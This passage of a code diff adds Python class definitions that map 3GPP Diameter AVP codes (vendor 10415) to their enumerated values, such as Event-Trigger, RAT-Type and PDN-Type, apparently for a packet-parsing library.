+                0: "ONLY_LOCAL_TIME_ZONE_REQUESTED", 1: "LOCAL_TIME_ZONE_WITH_LOCATION_INFO_REQUESTED", })]
+
+
+class AVP_10415_829 (AVP_FL_V):
+    name = 'Role-Of-Node'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "HPLMN", 1: "VPLMN", 2: "FORWARDING_ROLE", })]
+
+
+class AVP_10415_862 (AVP_FL_V):
+    name = 'Node-Functionality'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "S-CSCF",
+                1: "P-CSCF",
+                2: "I-CSCF",
+                5: "BGCF",
+                6: "AS",
+                7: "IBCF",
+                8: "S-GW",
+                9: "P-GW",
+                10: "HSGW",
+                11: "E-CSCF ",
+                12: "MME ",
+                13: "TRF",
+                14: "TF",
+                15: "ATCF",
+                16: "Proxy Function",
+                17: "ePDG",
+            })]
+
+
+class AVP_10415_864 (AVP_FL_V):
+    name = 'Originator'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Calling Party", 1: "Called Party", })]
+
+
+class AVP_10415_867 (AVP_FL_V):
+    name = 'PS-Append-Free-Format-Data'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "'Append' ", 1: "'Overwrite' ", })]
+
+
+class AVP_10415_870 (AVP_FL_V):
+    name = 'Trigger-Type'
+    avpLen = 16
+    fields_desc = [AVP_FL_V,
+        Enumerated('val',
+                   None,
+                   {1: "CHANGE_IN_SGSN_IP_ADDRESS ",
+                    2: "CHANGE_IN_QOS",
+                    3: "CHANGE_IN_LOCATION",
+                    4: "CHANGE_IN_RAT",
+                    5: "CHANGE_IN_UE_TIMEZONE",
+                    10: "CHANGEINQOS_TRAFFIC_CLASS",
+                    11: "CHANGEINQOS_RELIABILITY_CLASS",
+                    12: "CHANGEINQOS_DELAY_CLASS",
+                    13: "CHANGEINQOS_PEAK_THROUGHPUT",
+                    14: "CHANGEINQOS_PRECEDENCE_CLASS",
+                    15: "CHANGEINQOS_MEAN_THROUGHPUT",
+                    16: "CHANGEINQOS_MAXIMUM_BIT_RATE_FOR_UPLINK",
+                    17: "CHANGEINQOS_MAXIMUM_BIT_RATE_FOR_DOWNLINK",
+                    18: "CHANGEINQOS_RESIDUAL_BER",
+                    19: "CHANGEINQOS_SDU_ERROR_RATIO",
+                    20: "CHANGEINQOS_TRANSFER_DELAY",
+                    21: "CHANGEINQOS_TRAFFIC_HANDLING_PRIORITY",
+                    22: "CHANGEINQOS_GUARANTEED_BIT_RATE_FOR_UPLINK",
+                    23: "CHANGEINQOS_GUARANTEED_BIT_RATE_FOR_DOWNLINK",
+                    24: "CHANGEINQOS_APN_AGGREGATE_MAXIMUM_BIT_RATE",
+                    30: "CHANGEINLOCATION_MCC",
+                    31: "CHANGEINLOCATION_MNC",
+                    32: "CHANGEINLOCATION_RAC",
+                    33: "CHANGEINLOCATION_LAC",
+                    34: "CHANGEINLOCATION_CellId",
+                    35: "CHANGEINLOCATION_TAC",
+                    36: "CHANGEINLOCATION_ECGI",
+                    40: "CHANGE_IN_MEDIA_COMPOSITION",
+                    50: "CHANGE_IN_PARTICIPANTS_NMB",
+                    51: "CHANGE_IN_ THRSHLD_OF_PARTICIPANTS_NMB",
+                    52: "CHANGE_IN_USER_PARTICIPATING_TYPE",
+                    60: "CHANGE_IN_SERVICE_CONDITION",
+                    61: "CHANGE_IN_SERVING_NODE",
+                    70: "CHANGE_IN_USER_CSG_INFORMATION",
+                    71: "CHANGE_IN_HYBRID_SUBSCRIBED_USER_CSG_INFORMATION",
+                    72: "CHANGE_IN_HYBRID_UNSUBSCRIBED_USER_CSG_INFORMATION",
+                    73: "CHANGE_OF_UE_PRESENCE_IN_PRESENCE_REPORTING_AREA",
+                    })]
+
+
+class AVP_10415_872 (AVP_FL_V):
+    name = 'Reporting-Reason'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "THRESHOLD",
+                1: "QHT",
+                2: "FINAL",
+                3: "QUOTA_EXHAUSTED",
+                4: "VALIDITY_TIME",
+                5: "OTHER_QUOTA_TYPE",
+                6: "RATING_CONDITION_CHANGE",
+                7: "FORCED_REAUTHORISATION",
+                8: "POOL_EXHAUSTED",
+            })]
+
+
+class AVP_10415_882 (AVP_FL_V):
+    name = 'Media-Initiator-Flag'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "called party", 1: "calling party", 2: "unknown", })]
+
+
+class AVP_10415_883 (AVP_FL_V):
+    name = 'PoC-Server-Role'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Participating PoC Server", 1: "Controlling PoC Server", })]
+
+
+class AVP_10415_884 (AVP_FL_V):
+    name = 'PoC-Session-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "1 to 1 PoC session",
+                1: "Chat PoC group session",
+                2: "Pre-arranged PoC group session",
+                3: "Ad-hoc PoC group session",
+            })]
+
+
+class AVP_10415_899 (AVP_FL_V):
+    name = 'Address-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "e-mail address",
+                1: "MSISDN",
+                2: "IPv4 Address",
+                3: "IPv6 Address",
+                4: "Numeric Shortcode",
+                5: "Alphanumeric Shortcode",
+                6: "Other",
+                7: "IMSI",
+            })]
+
+
+class AVP_10415_902 (AVP_FL_V):
+    name = 'MBMS-StartStop-Indication'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "START", 1: "STOP", 2: "UPDATE", })]
+
+
+class AVP_10415_906 (AVP_FL_V):
+    name = 'MBMS-Service-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "MULTICAST", 1: "BROADCAST", })]
+
+
+class AVP_10415_907 (AVP_FL_V):
+    name = 'MBMS-2G-3G-Indicator'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "2G", 1: "3G", 2: "2G-AND-3G", })]
+
+
+class AVP_10415_921 (AVP_FL_V):
+    name = 'CN-IP-Multicast-Distribution'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "NO-IP-MULTICAST", 1: "IP-MULTICAST", })]
+
+
+class AVP_10415_922 (AVP_FL_V):
+    name = 'MBMS-HC-Indicator'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "uncompressed-header", 1: "compressed-header", })]
+
+
+class AVP_10415_1000 (AVP_FL_V):
+    name = 'Bearer-Usage'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "GENERAL", 1: "IMS SIGNALLING", 2: "DEDICATED", })]
+
+
+class AVP_10415_1006 (AVP_FL_V):
+    name = 'Event-Trigger'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "SGSN_CHANGE",
+                1: "QOS_CHANGE",
+                2: "RAT_CHANGE",
+                3: "TFT_CHANGE",
+                4: "PLMN_CHANGE",
+                5: "LOSS_OF_BEARER",
+                6: "RECOVERY_OF_BEARER",
+                7: "IP-CAN_CHANGE",
+                8: "GW-PCEF-MALFUNCTION",
+                9: "RESOURCES_LIMITATION",
+                10: "MAX_NR_BEARERS_REACHED",
+                11: "QOS_CHANGE_EXCEEDING_AUTHORIZATION",
+                12: "RAI_CHANGE",
+                13: "USER_LOCATION_CHANGE",
+                14: "NO_EVENT_TRIGGERS",
+                15: "OUT_OF_CREDIT",
+                16: "REALLOCATION_OF_CREDIT",
+                17: "REVALIDATION_TIMEOUT",
+                18: "UE_IP_ADDRESS_ALLOCATE",
+                19: "UE_IP_ADDRESS_RELEASE",
+                20: "DEFAULT_EPS_BEARER_QOS_CHANGE",
+                21: "AN_GW_CHANGE",
+                22: "SUCCESSFUL_RESOURCE_ALLOCATION",
+                23: "RESOURCE_MODIFICATION_REQUEST",
+                24: "PGW_TRACE_CONTROL",
+                25: "UE_TIME_ZONE_CHANGE",
+                26: "TAI_CHANGE",
+                27: "ECGI_CHANGE",
+                28: "CHARGING_CORRELATION_EXCHANGE",
+                29: "APN-AMBR_MODIFICATION_FAILURE",
+                30: "USER_CSG_INFORMATION_CHANGE",
+                33: "USAGE_REPORT",
+                34: "DEFAULT-EPS-BEARER-QOS_MODIFICATION_FAILURE",
+                35: "USER_CSG_HYBRID_SUBSCRIBED_INFORMATION_CHANGE",
+                36: "USER_CSG_ HYBRID_UNSUBSCRIBED_INFORMATION_CHANGE",
+                37: "ROUTING_RULE_CHANGE",
+                38: "MAX_MBR_APN_AMBR_CHANGE",
+                39: "APPLICATION_START",
+                40: "APPLICATION_STOP",
+                41: "ADC_REVALIDATION_TIMEOUT",
+                42: "CS_TO_PS_HANDOVER",
+                43: "UE_LOCAL_IP_ADDRESS_CHANGE",
+                45: "ACCESS_NETWORK_INFO_REPORT",
+                100: "TIME_CHANGE",
+                1000: "TFT DELETED",
+                1001: "LOSS OF BEARER",
+                1002: "RECOVERY OF BEARER",
+                1003: "POLICY ENFORCEMENT FAILED",
+            })]
+
+
+class AVP_10415_1007 (AVP_FL_V):
+    name = 'Metering-Method'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "DURATION", 1: "VOLUME", 2: "DURATION_VOLUME", })]
+
+
+class AVP_10415_1008 (AVP_FL_V):
+    name = 'Offline'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "DISABLE_OFFLINE", 1: "ENABLE_OFFLINE", })]
+
+
+class AVP_10415_1009 (AVP_FL_V):
+    name = 'Online'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "DISABLE_ONLINE", 1: "ENABLE_ONLINE", })]
+
+
+class AVP_10415_1011 (AVP_FL_V):
+    name = 'Reporting-Level'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "SERVICE_IDENTIFIER_LEVEL", 1: "RATING_GROUP_LEVEL", 2: "SPONSORED_CONNECTIVITY_LEVEL", })]
+
+
+class AVP_10415_1015 (AVP_FL_V):
+    name = 'PDP-Session-Operation'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "PDP-SESSION-TERMINATION", })]
+
+
+class AVP_10415_1019 (AVP_FL_V):
+    name = 'PCC-Rule-Status'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "ACTIVE", 1: "INACTIVE", 2: "TEMPORARY_INACTIVE", })]
+
+
+class AVP_10415_1021 (AVP_FL_V):
+    name = 'Bearer-Operation'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "TERMINATION", 1: "ESTABLISHMENT", 2: "MODIFICATION", })]
+
+
+class AVP_10415_1023 (AVP_FL_V):
+    name = 'Bearer-Control-Mode'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "UE_ONLY", 1: "RESERVED", 2: "UE_NW", })]
+
+
+class AVP_10415_1024 (AVP_FL_V):
+    name = 'Network-Request-Support'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "NETWORK_REQUEST NOT SUPPORTED", 1: "NETWORK_REQUEST SUPPORTED", })]
+
+
+class AVP_10415_1027 (AVP_FL_V):
+    name = 'IP-CAN-Type'
+    avpLen = 16
+    fields_desc = [AVP_FL_V,
+                                                     Enumerated('val',
+                                                                None,
+                                                                {0: "3GPP-GPRS",
+                                                                 1: "DOCSIS",
+                                                                 2: "xDSL",
+                                                                 3: "WiMAX",
+                                                                 4: "3GPP2",
+                                                                 5: "3GPP-EPS",
+                                                                 6: "Non-3GPP-EPS",
+                                                                 })]
+
+
+class AVP_10415_1028 (AVP_FL_V):
+    name = 'QoS-Class-Identifier'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                1: "QCI_1",
+                2: "QCI_2",
+                3: "QCI_3",
+                4: "QCI_4",
+                5: "QCI_5",
+                6: "QCI_6",
+                7: "QCI_7",
+                8: "QCI_8",
+                9: "QCI_9",
+            })]
+
+
+class AVP_10415_1032 (AVP_FL_V):
+    name = 'RAT-Type'
+    avpLen = 16
+    fields_desc = [AVP_FL_V,
+                  Enumerated('val',
+                             None,
+                             {0: "WLAN",
+                              1: "VIRTUAL",
+                              1000: "UTRAN",
+                              1001: "GERAN",
+                              1002: "GAN",
+                              1003: "HSPA_EVOLUTION",
+                              1004: "EUTRAN",
+                              2000: "CDMA2000_1X",
+                              2001: "HRPD",
+                              2002: "UMB",
+                              2003: "EHRPD",
+                              })]
+
+
+class AVP_10415_1045 (AVP_FL_V):
+    name = 'Session-Release-Cause'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "UNSPECIFIED_REASON", 1: "UE_SUBSCRIPTION_REASON", 2: "INSUFFICIENT_SERVER_RESOURCES", })]
+
+
+class AVP_10415_1047 (AVP_FL_V):
+    name = 'Pre-emption-Capability'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "PRE-EMPTION_CAPABILITY_ENABLED", 1: "PRE-EMPTION_CAPABILITY_DISABLED", })]
+
+
+class AVP_10415_1048 (AVP_FL_V):
+    name = 'Pre-emption-Vulnerability'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "PRE-EMPTION_VULNERABILITY_ENABLED", 1: "PRE-EMPTION_VULNERABILITY_DISABLED", })]
+
+
+class AVP_10415_1062 (AVP_FL_V):
+    name = 'Packet-Filter-Operation'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "DELETION", 1: "ADDITION", 2: "MODIFICATION", })]
+
+
+class AVP_10415_1063 (AVP_FL_V):
+    name = 'Resource-Allocation-Notification'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "ENABLE_NOTIFICATION", })]
+
+
+class AVP_10415_1068 (AVP_FL_V):
+    name = 'Usage-Monitoring-Level'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "SESSION_LEVEL", 1: "PCC_RULE_LEVEL", 2: "ADC_RULE_LEVEL", })]
+
+
+class AVP_10415_1069 (AVP_FL_V):
+    name = 'Usage-Monitoring-Report'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "USAGE_MONITORING_REPORT_REQUIRED", })]
+
+
+class AVP_10415_1070 (AVP_FL_V):
+    name = 'Usage-Monitoring-Support'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "USAGE_MONITORING_DISABLED", })]
+
+
+class AVP_10415_1071 (AVP_FL_V):
+    name = 'CSG-Information-Reporting'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "CHANGE_CSG_CELL",
+                1: "CHANGE_CSG_SUBSCRIBED_HYBRID_CELL",
+                2: "CHANGE_CSG_UNSUBSCRIBED_HYBRID_CELL",
+            })]
+
+
+class AVP_10415_1072 (AVP_FL_V):
+    name = 'Packet-Filter-Usage'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {1: "SEND_TO_UE", })]
+
+
+class AVP_10415_1073 (AVP_FL_V):
+    name = 'Charging-Correlation-Indicator'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "CHARGING_IDENTIFIER_REQUIRED", })]
+
+
+class AVP_10415_1080 (AVP_FL_V):
+    name = 'Flow-Direction'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "UNSPECIFIED", 1: "DOWNLINK", 2: "UPLINK", 3: "BIDIRECTIONAL", })]
+
+
+class AVP_10415_1086 (AVP_FL_V):
+    name = 'Redirect-Support'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "REDIRECTION_DISABLED", 1: "REDIRECTION_ENABLED", })]
+
+
+class AVP_10415_1099 (AVP_FL_V):
+    name = 'PS-to-CS-Session-Continuity'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "VIDEO_PS2CS_CONT_CANDIDATE", })]
+
+
+class AVP_10415_1204 (AVP_FL_V):
+    name = 'Type-Number'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "TBC", })]
+
+
+class AVP_10415_1208 (AVP_FL_V):
+    name = 'Addressee-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "TO ", 1: "CC ", 2: "BCC", })]
+
+
+class AVP_10415_1209 (AVP_FL_V):
+    name = 'Priority'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "Low", 1: "Normal", 2: "High", })]
+
+
+class AVP_10415_1211 (AVP_FL_V):
+    name = 'Message-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                1: "m-send-req",
+                2: "m-send-conf",
+                3: "m-notification-ind ",
+                4: "m-notifyresp-ind ",
+                5: "m-retrieve-conf ",
+                6: "m-acknowledge-ind ",
+                7: "m-delivery-ind ",
+                8: "m-read-rec-ind ",
+                9: "m-read-orig-ind",
+                10: "m-forward-req ",
+                11: "m-forward-conf ",
+                12: "m-mbox-store-conf",
+                13: "m-mbox-view-conf ",
+                14: "m-mbox-upload-conf ",
+                15: "m-mbox-delete-conf ",
+            })]
+
+
+class AVP_10415_1214 (AVP_FL_V):
+    name = 'Class-Identifier'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Personal", 1: "Advertisement", 2: "Informational", 3: "Auto", })]
+
+
+class AVP_10415_1216 (AVP_FL_V):
+    name = 'Delivery-Report-Requested'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "No", 1: "Yes", })]
+
+
+class AVP_10415_1217 (AVP_FL_V):
+    name = 'Adaptations'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "Yes", 1: "No", })]
+
+
+class AVP_10415_1220 (AVP_FL_V):
+    name = 'Content-Class'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "text ",
+                1: "image-basic ",
+                2: "image-rich ",
+                3: "video-basic",
+                4: "video-rich ",
+                5: "megapixel ",
+                6: "content-basic ",
+                7: "content-rich ",
+            })]
+
+
+class AVP_10415_1221 (AVP_FL_V):
+    name = 'DRM-Content'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "No", 1: "Yes", })]
+
+
+class AVP_10415_1222 (AVP_FL_V):
+    name = 'Read-Reply-Report-Requested'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "No", 1: "Yes", })]
+
+
+class AVP_10415_1224 (AVP_FL_V):
+    name = 'File-Repair-Supported'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "Forwarding not pending", 1: "Forwarding pending", 2: "NOT_SUPPORTED", })]
+
+
+class AVP_10415_1225 (AVP_FL_V):
+    name = 'MBMS-User-Service-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {1: "DOWNLOAD", 2: "STREAMING", })]
+
+
+class AVP_10415_1247 (AVP_FL_V):
+    name = 'PDP-Context-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "Primary", 1: "Secondary", })]
+
+
+class AVP_10415_1248 (AVP_FL_V):
+    name = 'MMBox-Storage-Requested'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "No", 1: "Yes", })]
+
+
+class AVP_10415_1254 (AVP_FL_V):
+    name = 'PoC-User-Role-info-Units'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                1: "Moderator", 2: "Dispatcher", 3: "Session-Owner", 4: "Session-Participant", })]
+
+
+class AVP_10415_1259 (AVP_FL_V):
+    name = 'Participant-Access-Priority'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                1: "Pre-emptive priority: ",
+                2: "High priority: Lower than Pre-emptive priority",
+                3: "Normal priority: Normal level. Lower than High priority",
+                4: "Low priority: Lowest level priority",
+            })]
+
+
+class AVP_10415_1261 (AVP_FL_V):
+    name = 'PoC-Change-Condition'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "ServiceChange",
+                1: "VolumeLimit",
+                2: "TimeLimit",
+                3: "NumberofTalkBurstLimit",
+                4: "NumberofActiveParticipants",
+            })]
+
+
+class AVP_10415_1268 (AVP_FL_V):
+    name = 'Envelope-Reporting'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "DO_NOT_REPORT_ENVELOPES",
+                1: "REPORT_ENVELOPES",
+                2: "REPORT_ENVELOPES_WITH_VOLUME",
+                3: "REPORT_ENVELOPES_WITH_EVENTS",
+                4: "REPORT_ENVELOPES_WITH_VOLUME_AND_EVENTS",
+            })]
+
+
+class AVP_10415_1271 (AVP_FL_V):
+    name = 'Time-Quota-Type'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "DISCRETE_TIME_PERIOD", 1: "CONTINUOUS_TIME_PERIOD", })]
+
+
+class AVP_10415_1277 (AVP_FL_V):
+    name = 'PoC-Session-Initiation-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "Pre-established", 1: "On-demand", })]
+
+
+class AVP_10415_1279 (AVP_FL_V):
+    name = 'User-Participating-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "Normal", 1: "NW PoC Box", 2: "UE PoC Box", })]
+
+
+class AVP_10415_1417 (AVP_FL_V):
+    name = 'Network-Access-Mode'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "PACKET_AND_CIRCUIT", 1: "Reserved", 2: "ONLY_PACKET", })]
+
+
+class AVP_10415_1420 (AVP_FL_V):
+    name = 'Cancellation-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "MME_UPDATE_PROCEDURE",
+                1: "SGSN_UPDATE_PROCEDURE",
+                2: "SUBSCRIPTION_WITHDRAWAL",
+                3: "UPDATE_PROCEDURE_IWF",
+                4: "INITIAL_ATTACH_PROCEDURE",
+            })]
+
+
+class AVP_10415_1424 (AVP_FL_V):
+    name = 'Subscriber-Status'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "SERVICE_GRANTED", 1: "OPERATOR_DETERMINED_BARRING", })]
+
+
+class AVP_10415_1428 (AVP_FL_V):
+    name = 'All-APN-Configurations-Included-Indicator'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "ALL_APN_CONFIGURATIONS_INCLUDED", })]
+
+
+class AVP_10415_1432 (AVP_FL_V):
+    name = 'VPLMN-Dynamic-Address-Allowed'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "NOTALLOWED", 1: "ALLOWED", })]
+
+
+class AVP_10415_1434 (AVP_FL_V):
+    name = 'Alert-Reason'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "UE_PRESENT", 1: "UE_MEMORY_AVAILABLE", })]
+
+
+class AVP_10415_1438 (AVP_FL_V):
+    name = 'PDN-GW-Allocation-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "STATIC", 1: "DYNAMIC", })]
+
+
+class AVP_10415_1445 (AVP_FL_V):
+    name = 'Equipment-Status'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "WHITELISTED", 1: "BLACKLISTED", 2: "GREYLISTED", })]
+
+
+class AVP_10415_1456 (AVP_FL_V):
+    name = 'PDN-Type'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "IPv4", 1: "IPv6", 2: "IPv4v6", 3: "IPv4_OR_IPv6", })]
+
+
+class AVP_10415_1457 (AVP_FL_V):
+    name = 'Roaming-Restricted-Due-To-Unsupported-Feature'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "Roaming-Restricted-Due-To-Unsupported-Feature", })]
+
+
+class AVP_10415_1462 (AVP_FL_V):
+    name = 'Trace-Depth'
+    avpLen = 16
+    fields_desc = [AVP_FL_V,
+                   Enumerated('val',
+                              None,
+                              {0: "Minimum",
+                               1: "Medium",
+                               2: "Maximum",
+                               3: "MinimumWithoutVendorSpecificExtension",
+                               4: "MediumWithoutVendorSpecificExtension",
+                               5: "MaximumWithoutVendorSpecificExtension",
+                               })]
+
+
+class AVP_10415_1468 (AVP_FL_V):
+    name = 'Complete-Data-List-Included-Indicator'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "ALL_PDP_CONTEXTS_INCLUDED", })]
+
+
+class AVP_10415_1478 (AVP_FL_V):
+    name = 'Notification-To-UE-User'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "NOTIFY_LOCATION_ALLOWED",
+                1: "NOTIFYANDVERIFY_LOCATION_ALLOWED_IF_NO_RESPONSE",
+                2: "NOTIFYANDVERIFY_LOCATION_NOT_ALLOWED_IF_NO_RESPONSE",
+                3: "LOCATION_NOT_ALLOWED",
+            })]
+
+
+class AVP_10415_1481 (AVP_FL_V):
+    name = 'GMLC-Restriction'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "GMLC_LIST", 1: "HOME_COUNTRY", })]
+
+
+class AVP_10415_1482 (AVP_FL_V):
+    name = 'PLMN-Client'
+    avpLen = 16
+    fields_desc = [AVP_FL_V,
+                  Enumerated('val',
+                             None,
+                             {0: "BROADCAST_SERVICE",
+                              1: "O_AND_M_HPLMN",
+                              2: "O_AND_M_VPLMN",
+                              3: "ANONYMOUS_LOCATION",
+                              4: "TARGET_UE_SUBSCRIBED_SERVICE",
+                              })]
+
+
+class AVP_10415_1491 (AVP_FL_V):
+    name = 'ICS-Indicator'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "FALSE", 1: "TRUE", })]
+
+
+class AVP_10415_1492 (AVP_FL_V):
+    name = 'IMS-Voice-Over-PS-Sessions-Supported'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "NOT_SUPPORTED", 1: "SUPPORTED", })]
+
+
+class AVP_10415_1493 (AVP_FL_V):
+    name = 'Homogeneous-Support-of-IMS-Voice-Over-PS-Sessions'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "NOT_SUPPORTED", 1: "SUPPORTED", })]
+
+
+class AVP_10415_1499 (AVP_FL_V):
+    name = 'User-State'
+    avpLen = 16
+    fields_desc = [AVP_FL_V,
+                   Enumerated('val',
+                              None,
+                              {0: "DETACHED",
+                               1: "ATTACHED_NOT_REACHABLE_FOR_PAGING",
+                               2: "ATTACHED_REACHABLE_FOR_PAGING",
+                               3: "CONNECTED_NOT_REACHABLE_FOR_PAGING",
+                               4: "CONNECTED_REACHABLE_FOR_PAGING",
+                               5: "NETWORK_DETERMINED_NOT_REACHABLE",
+                               })]
+
+
+class AVP_10415_1501 (AVP_FL_V):
+    name = 'Non-3GPP-IP-Access'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "NON_3GPP_SUBSCRIPTION_ALLOWED", 1: "NON_3GPP_SUBSCRIPTION_BARRED", })]
+
+
+class AVP_10415_1502 (AVP_FL_V):
+    name = 'Non-3GPP-IP-Access-APN'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "NON_3GPP_APNS_ENABLE", 1: "NON_3GPP_APNS_DISABLE", })]
+
+
+class AVP_10415_1503 (AVP_FL_V):
+    name = 'AN-Trusted'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "TRUSTED", 1: "UNTRUSTED", })]
+
+
+class AVP_10415_1515 (AVP_FL_V):
+    name = 'Trust-Relationship-Update'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "TBC", })]
+
+
+class AVP_10415_1519 (AVP_FL_V):
+    name = 'Transport-Access-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "BBF", })]
+
+
+class AVP_10415_1610 (AVP_FL_V):
+    name = 'Current-Location-Retrieved'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "ACTIVE-LOCATION-RETRIEVAL", })]
+
+
+class AVP_10415_1613 (AVP_FL_V):
+    name = 'SIPTO-Permission'
+    avpLen = 16
